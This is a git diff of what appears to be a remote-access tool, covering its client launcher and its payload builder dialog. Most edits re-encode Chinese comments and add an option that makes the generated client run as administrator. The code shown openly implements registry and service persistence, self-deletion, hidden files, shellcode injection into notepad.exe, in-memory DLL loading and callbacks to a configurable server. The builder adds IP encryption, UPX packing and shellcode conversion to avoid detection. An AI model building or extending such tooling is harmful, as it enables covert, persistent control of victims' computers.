diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 2748d74..48d272a 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -192,7 +192,7 @@ int main(int argc, const char *argv[]) if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { - Mprintf("结束运行."); + Mprintf("结束运行.\n"); Sleep(1000); return r; } @@ -209,7 +209,7 @@ int main(int argc, const char *argv[]) Mprintf(" Arg [%d]: %s\n", i, argv[i]); } if (ret) { - Mprintf("结束运行."); + Mprintf("结束运行.\n"); Sleep(1000); return 0x20251123; } @@ -222,7 +222,7 @@ int main(int argc, const char *argv[]) CloseHandle(hMutex); hMutex = NULL; #ifndef _DEBUG - Mprintf("结束运行."); + Mprintf("结束运行.\n"); Sleep(1000); return -2; #endif @@ -258,7 +258,7 @@ int main(int argc, const char *argv[]) status = E_STOP; CloseHandle(hMutex); - Mprintf("结束运行."); + Mprintf("结束运行.\n"); Logger::getInstance().stop(); return 0; diff --git a/client/test.cpp b/client/test.cpp index 82aa369..2a86ffe 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -1,4 +1,4 @@ - + #include "StdAfx.h" #include "MemoryModule.h" #include "ShellcodeInj.h" @@ -17,7 +17,7 @@ extern "C" { #pragma comment(lib, "ws2_32.lib") -// Զעеֵ +// 自动启动注册表中的值 #define REG_NAME "ClientDemo" typedef void (*StopRun)(); @@ -26,13 +26,13 @@ typedef bool (*IsStoped)(); typedef BOOL (*IsExit)(); -// ֹͣ +// 停止程序运行 StopRun stop = NULL; -// Ƿɹֹͣ +// 是否成功停止 IsStoped bStop = NULL; -// Ƿ˳ض +// 是否退出被控端 IsExit bExit = NULL; BOOL status = 0; @@ -53,7 +53,7 @@ BOOL CALLBACK callback(DWORD CtrlType) return TRUE; } -// г. +// 运行程序. BOOL Run(const char* argv1, int argv2); // Package header. @@ -77,16 +77,16 @@ protected: HMEMORYMODULE m_mod; std::string GetIPAddress(const char* hostName) { - // 1. жDzǺϷ IPv4 ַ + // 1. 判断是不是合法的 IPv4 地址 sockaddr_in sa; if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { - // ǺϷ IPv4 ֱַӷ + // 是合法 IPv4 地址,直接返回 return std::string(hostName); } - // 2. Խ + // 2. 否则尝试解析域名 addrinfo hints = {}, * res = nullptr; - hints.ai_family = AF_INET; // ֻ֧ IPv4 + hints.ai_family = AF_INET; // 只支持 IPv4 hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; @@ -210,22 +210,22 @@ public: } }; -// @brief ȶȡsettings.iniļȡIPͶ˿. +// @brief 首先读取settings.ini配置文件,获取IP和端口. // [settings] // localIp=XXX // ghost=6688 -// ļھʹлȡIPͶ˿. +// 如果配置文件不存在就从命令行中获取IP和端口. int main(int argc, const char *argv[]) { - Mprintf(": %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); + Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, Log); bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc; - // ע + // 注册启动项 int r = RegisterStartup("Client Demo", "ClientDemo", !isService, g_ConnectAddress.runasAdmin, Logf); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { - Mprintf("."); + Mprintf("结束运行.\n"); Sleep(1000); return r; } @@ -233,7 +233,7 @@ int main(int argc, const char *argv[]) BOOL ok = SetSelfStart(argv[0], REG_NAME); if(!ok) { - Mprintf("ÿʧܣùԱȨ.\n"); + Mprintf("设置开机自启动失败,请用管理员权限运行.\n"); } if (isService) { @@ -243,7 +243,7 @@ int main(int argc, const char *argv[]) Mprintf(" Arg [%d]: %s\n", i, argv[i]); } if (ret) { - Mprintf("."); + Mprintf("结束运行.\n"); Sleep(1000); return 0x20251202; } @@ -262,7 +262,7 @@ int main(int argc, const char *argv[]) g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port); } - // Shell code ӱ6543˿ڣע뵽± + // 此 Shell code 连接本机6543端口,注入到记事本 if (g_ConnectAddress.iStartup == Startup_InjSC) { // Try to inject shell code to `notepad.exe` // If failed then run memory DLL @@ -289,7 +289,7 @@ int main(int argc, const char *argv[]) CloseHandle(hProcess); Mprintf("Process [%d] is finished.\n", pid); if (status == 1) { - Mprintf("."); + Mprintf("结束运行.\n"); Sleep(1000); return -1; } @@ -305,21 +305,21 @@ int main(int argc, const char *argv[]) argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); if (ret == 1) { - Mprintf("."); + Mprintf("结束运行.\n"); Sleep(1000); return -1; } } while (status == 0); status = 0; - Mprintf("."); + Mprintf("结束运行.\n"); Sleep(1000); Logger::getInstance().stop(); return 0; } -// в: IP ˿. +// 传入命令行参数: IP 和 端口. BOOL Run(const char* argv1, int argv2) { BOOL result = FALSE; @@ -344,7 +344,7 @@ BOOL Run(const char* argv1, int argv2) Mprintf("Error removing file. Error code: %d\n", GetLastError()); ok = FALSE; } else { - // ļΪ + // 设置文件属性为隐藏 if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) { Mprintf("File created and set to hidden: %s\n",oldFile.c_str()); } @@ -377,7 +377,7 @@ BOOL Run(const char* argv1, int argv2) bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL; if (NULL == run) { if (hDll) runner->FreeLibrary(hDll); - Mprintf("ض̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); + Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError()); Sleep(3000); delete runner; return FALSE; @@ -387,7 +387,7 @@ BOOL Run(const char* argv1, int argv2) strcpy_s(ip, g_ConnectAddress.ServerIP()); int port = g_ConnectAddress.ServerPort(); strcpy(p + 1, "settings.ini"); - if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. + if (_access(path, 0) == -1) { // 文件不存在: 优先从参数中取值,其次是从g_ConnectAddress取值. strcpy(ip, argv1); port = argv2; } else { @@ -409,9 +409,9 @@ BOOL Run(const char* argv1, int argv2) } } while (result == 2); if (!runner->FreeLibrary(hDll)) { - Mprintf("ͷŶ̬ӿ\"ServerDll.dll\"ʧ. : %d\n", GetLastError()); + Mprintf("释放动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError()); } else { - Mprintf("ͷŶ̬ӿ\"ServerDll.dll\"ɹ!\n"); + Mprintf("释放动态链接库\"ServerDll.dll\"成功!\n"); } delete runner; return result; diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 88f3e1c..70bcbae 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index b13a703..3bda615 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -1,4 +1,4 @@ -// BuildDlg.cpp : ʵļ +// BuildDlg.cpp : 实现文件 // #include "stdafx.h" @@ -23,7 +23,7 @@ enum Index { OTHER_ITEM }; -// CBuildDlg Ի +// CBuildDlg 对话框 IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) @@ -41,15 +41,15 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize) if (hResource == NULL) { return NULL; } - // ȡԴĴС + // 获取资源的大小 dwSize = SizeofResource(NULL, hResource); - // Դ + // 加载资源 HGLOBAL hLoadedResource = LoadResource(NULL, hResource); if (hLoadedResource == NULL) { return NULL; } - // ԴȡָԴݵָ + // 锁定资源并获取指向资源数据的指针 LPVOID pData = LockResource(hLoadedResource); if (pData == NULL) { return NULL; @@ -67,7 +67,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent) , m_strPort(_T("")) , m_strFindden(FLAG_FINDEN) , m_sGroupName(_T("default")) - , m_strEncryptIP(_T("")) + , m_strEncryptIP(_T("是")) { } @@ -100,10 +100,11 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters) ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden) ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp) + ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin) END_MESSAGE_MAP() -// CBuildDlg Ϣ +// CBuildDlg 消息处理程序 std::string ReleaseUPX(); void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress); @@ -173,7 +174,7 @@ void CBuildDlg::OnBnClickedOk() int index = m_ComboExe.GetCurSel(), typ=index; int is64bit = m_ComboBits.GetCurSel() == 0; if (index == IndexTestRun_InjSC && !is64bit) { - MessageBox("Shellcode ֻ64λ±ע룬עҲֻ64λ!", "ʾ", MB_ICONWARNING); + MessageBox("Shellcode 只能向64位记事本注入,注入器也只能是64位!", "提示", MB_ICONWARNING); return; } int startup = Startup_DLL; @@ -219,7 +220,7 @@ void CBuildDlg::OnBnClickedOk() case OTHER_ITEM: { m_OtherItem.GetWindowTextA(file); typ = -1; - if (file != "δѡļ") { + if (file != "未选择文件") { CFile File; File.Open(file, CFile::modeRead | CFile::typeBinary); dwFileSize = File.GetLength(); @@ -235,10 +236,10 @@ void CBuildDlg::OnBnClickedOk() break; } if (szBuffer == NULL) { - MessageBox("ڲ룬±!", "ʾ", MB_ICONWARNING); + MessageBox("出现内部错误,请检查输入,重新编译程序!", "提示", MB_ICONWARNING); return; } - //////////Ϣ////////////////////// + //////////上线信息////////////////////// CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 }; if(m_strFindden.GetLength()) memcpy(g_ConnectAddress.szFlag, m_strFindden.GetBuffer(), min(sizeof(g_ConnectAddress.szFlag), m_strFindden.GetLength())); @@ -254,11 +255,13 @@ void CBuildDlg::OnBnClickedOk() SAFE_DELETE_ARRAY(szBuffer); return; } - bool encrypt = m_strEncryptIP == _T(""); + bool encrypt = m_strEncryptIP == _T("是"); if (encrypt && startup != Startup_InjSC && index != IndexTinyRun) g_ConnectAddress.Encrypt(); + if (m_runasAdmin) + g_ConnectAddress.runasAdmin = TRUE; try { - // ±ʶ + // 更新标识 char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize; bool bFind = false; int bufSize = dwFileSize; @@ -270,10 +273,10 @@ void CBuildDlg::OnBnClickedOk() CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset); auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1; if (result > 0) { - MessageBox("ͻ˰汾س, ޷!\r\n" + file, "ʾ", MB_ICONWARNING); + MessageBox("客户端版本比主控程序更高, 无法生成!\r\n" + file, "提示", MB_ICONWARNING); return; } - if (result != -2 && result <= 0) { // ͻ˰汾ܲض + if (result != -2 && result <= 0) { // 客户端版本不能不大于主控端 bFind = true; auto master = GetMasterId(); memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress)); @@ -282,12 +285,12 @@ void CBuildDlg::OnBnClickedOk() bufSize -= iOffset + sizeof(g_ConnectAddress); } if (!bFind) { - MessageBox("ڲδҵʶϢ!\r\n" + file, "ʾ", MB_ICONWARNING); + MessageBox("出现内部错误,未能找到标识信息!\r\n" + file, "提示", MB_ICONWARNING); SAFE_DELETE_ARRAY(szBuffer); return; } - // ļ + // 保存文件 char path[_MAX_PATH], * p = path; GetModuleFileNameA(NULL, path, sizeof(path)); while (*p) ++p; @@ -299,19 +302,19 @@ void CBuildDlg::OnBnClickedOk() CFile File; BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); if (!r) { - MessageBox("򴴽ʧ!\r\n" + strSeverFile, "ʾ", MB_ICONWARNING); + MessageBox("服务程序创建失败!\r\n" + strSeverFile, "提示", MB_ICONWARNING); SAFE_DELETE_ARRAY(szBuffer); return; } File.Write(szBuffer, dwFileSize); File.Close(); - CString tip = index == IndexTestRun_DLL ? "\r\nʾ: \"ServerDll.dll\"ԱС" : ""; - tip += g_ConnectAddress.protoType==PROTO_KCP ? "\nʾ: ʹKCPЭɷ񣬱UDPЭΪ1" : ""; + CString tip = index == IndexTestRun_DLL ? "\r\n提示: 请生成\"ServerDll.dll\",以便程序正常运行。" : ""; + tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。" : ""; std::string upx; if(m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_UPX) upx = ReleaseUPX(); if (!upx.empty()) { run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true); - MessageBox("UPXѹעϢʾ\r\nļλ: " + strSeverFile + tip, "ʾ", MB_ICONINFORMATION); + MessageBox("正在UPX压缩,请关注信息提示。\r\n文件位于: " + strSeverFile + tip, "提示", MB_ICONINFORMATION); } else { if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES) { DWORD dwSize = 0; @@ -348,25 +351,25 @@ void CBuildDlg::OnBnClickedOk() } else if (m_ComboCompress.GetCurSel() == CLIENT_PE_TO_SEHLLCODE) { int pe_2_shellcode(const std::string & in_path, const std::string & out_str); int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString()); - if (ret)MessageBox(CString("ShellCode ת쳣, 쳣: ") + CString(std::to_string(ret).c_str()), - "ʾ", MB_ICONINFORMATION); + if (ret)MessageBox(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()), + "提示", MB_ICONINFORMATION); } - MessageBox("ɳɹ! ļλ:\r\n" + strSeverFile + tip, "ʾ", MB_ICONINFORMATION); + MessageBox("生成成功! 文件位于:\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(szBuffer); if (index == IndexTestRun_DLL) return; } catch (CMemoryException* e) { char err[100]; e->GetErrorMessage(err, sizeof(err)); - MessageBox("ڴ쳣:" + CString(err), "쳣", MB_ICONERROR); + MessageBox("内存异常:" + CString(err), "异常", MB_ICONERROR); } catch (CFileException* e) { char err[100]; e->GetErrorMessage(err, sizeof(err)); - MessageBox("ļ쳣:" + CString(err), "쳣", MB_ICONERROR); + MessageBox("文件异常:" + CString(err), "异常", MB_ICONERROR); } catch (CException* e) { char err[100]; e->GetErrorMessage(err, sizeof(err)); - MessageBox("쳣:" + CString(err), "쳣", MB_ICONERROR); + MessageBox("其他异常:" + CString(err), "异常", MB_ICONERROR); } SAFE_DELETE_ARRAY(szBuffer); @@ -377,33 +380,33 @@ BOOL CBuildDlg::OnInitDialog() { CDialog::OnInitDialog(); - // TODO: ڴӶijʼ + // TODO: 在此添加额外的初始化 CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP); pEdit->LimitText(99); - m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - DLL"); - m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - ڴDLL"); - m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע±"); + m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - 磁盘DLL"); + m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - 内存DLL"); + m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - 注入记事本"); m_ComboExe.InsertString(IndexGhost, "ghost.exe"); m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll"); m_ComboExe.InsertString(IndexTinyRun, "TinyRun.dll"); - m_ComboExe.InsertString(IndexGhostMsc, "ghost.exe - Windows "); - m_ComboExe.InsertString(IndexTestRunMsc, "TestRun - Windows "); - m_ComboExe.InsertString(OTHER_ITEM, CString("ѡļ")); + m_ComboExe.InsertString(IndexGhostMsc, "ghost.exe - Windows 服务"); + m_ComboExe.InsertString(IndexTestRunMsc, "TestRun - Windows 服务"); + m_ComboExe.InsertString(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); - m_ComboBits.InsertString(0, "64λ"); - m_ComboBits.InsertString(1, "32λ"); + m_ComboBits.InsertString(0, "64位"); + m_ComboBits.InsertString(1, "32位"); m_ComboBits.SetCurSel(0); - m_ComboRunType.InsertString(RUNNING_RANDOM, ""); - m_ComboRunType.InsertString(RUNNING_PARALLEL, ""); + m_ComboRunType.InsertString(RUNNING_RANDOM, "随机上线"); + m_ComboRunType.InsertString(RUNNING_PARALLEL, "并发上线"); m_ComboRunType.SetCurSel(RUNNING_RANDOM); m_ComboProto.InsertString(PROTO_TCP, "TCP"); m_ComboProto.InsertString(PROTO_UDP, "UDP"); m_ComboProto.InsertString(PROTO_HTTP, "HTTP"); - m_ComboProto.InsertString(PROTO_RANDOM, ""); + m_ComboProto.InsertString(PROTO_RANDOM, "随机"); m_ComboProto.InsertString(PROTO_KCP, "KCP"); m_ComboProto.SetCurSel(PROTO_TCP); @@ -411,7 +414,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboEncrypt.InsertString(PROTOCOL_HELL, "HELL"); m_ComboEncrypt.SetCurSel(PROTOCOL_SHINE); - m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, ""); + m_ComboCompress.InsertString(CLIENT_COMPRESS_NONE, "无"); m_ComboCompress.InsertString(CLIENT_COMPRESS_UPX, "UPX"); m_ComboCompress.InsertString(CLIENT_COMPRESS_SC_AES, "ShellCode AES"); m_ComboCompress.InsertString(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode"); @@ -419,8 +422,16 @@ BOOL CBuildDlg::OnInitDialog() m_OtherItem.ShowWindow(SW_HIDE); + m_runasAdmin = FALSE; + m_MainMenu.LoadMenuA(IDR_MENU_BUILD); + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED); + SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED); + ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单 + ::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单 + return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // 异常: OCX 属性页应返回 FALSE } void CBuildDlg::OnCbnSelchangeComboExe() @@ -430,17 +441,17 @@ void CBuildDlg::OnCbnSelchangeComboExe() CComPtr spDesktop; HRESULT hr = SHGetDesktopFolder(&spDesktop); if (FAILED(hr)) { - MessageBox("Explorer δȷʼ! Ժԡ", "ʾ"); + MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示"); return; } - // ʾļضļıļ + // 过滤器:显示所有文件和特定类型文件(例如文本文件) CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd()); int ret = 0; try { ret = fileDlg.DoModal(); } catch (...) { - MessageBox("ļԻδɹ! Ժԡ", "ʾ"); + MessageBox("文件对话框未成功打开! 请稍后再试。", "提示"); return; } if (ret == IDOK) { @@ -460,7 +471,7 @@ void CBuildDlg::OnCbnSelchangeComboExe() SAFE_DELETE_ARRAY(szBuffer); } } else { - m_OtherItem.SetWindowTextA("δѡļ"); + m_OtherItem.SetWindowTextA("未选择文件"); } m_OtherItem.ShowWindow(SW_SHOW); } else { @@ -472,7 +483,7 @@ void CBuildDlg::OnCbnSelchangeComboExe() void CBuildDlg::OnHelpParameters() { - CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#ɲ"); + CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数"); ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); } @@ -481,7 +492,7 @@ void CBuildDlg::OnHelpFindden() { CInputDialog dlg(this); dlg.m_str = m_strFindden; - dlg.Init("ɱʶ", "ñʶϢ:"); + dlg.Init("生成标识", "请设置标识信息:"); if (dlg.DoModal() == IDOK) { m_strFindden = dlg.m_str; } @@ -490,13 +501,15 @@ void CBuildDlg::OnHelpFindden() void CBuildDlg::OnMenuEncryptIp() { - CInputDialog dlg(this); - dlg.m_str = m_strEncryptIP; - dlg.Init("Զ̵ַ", "ǻ߷:"); - if (dlg.DoModal() == IDOK ) { - if (m_strEncryptIP != "" && m_strEncryptIP != "") { - MessageBoxA("ǻ߷!", "ʾ", MB_ICONINFORMATION); - } else - m_strEncryptIP = dlg.m_str; - } + m_strEncryptIP = m_strEncryptIP == "是" ? "否" : "是"; + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == "是" ? MF_CHECKED : MF_UNCHECKED); +} + + +void CBuildDlg::OnClientRunasAdmin() +{ + m_runasAdmin = !m_runasAdmin; + CMenu* SubMenu = m_MainMenu.GetSubMenu(0); + SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED); } diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 1f0b9ca..2808ba4 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "Buffer.h" @@ -6,21 +6,23 @@ LPBYTE ReadResource(int resourceId, DWORD& dwSize); std::string ReleaseEXE(int resID, const char* name); -// CBuildDlg Ի +// CBuildDlg 对话框 class CBuildDlg : public CDialog { DECLARE_DYNAMIC(CBuildDlg) public: - CBuildDlg(CWnd* pParent = NULL); // ׼캯 + CBuildDlg(CWnd* pParent = NULL); // 标准构造函数 virtual ~CBuildDlg(); -// Ի +// 对话框数据 enum { IDD = IDD_DIALOG_BUILD }; + CMenu m_MainMenu; + BOOL m_runasAdmin; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: @@ -44,4 +46,5 @@ public: CString m_sGroupName; CString m_strEncryptIP; afx_msg void OnMenuEncryptIp(); + afx_msg void OnClientRunasAdmin(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 6ee967a..2618776 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ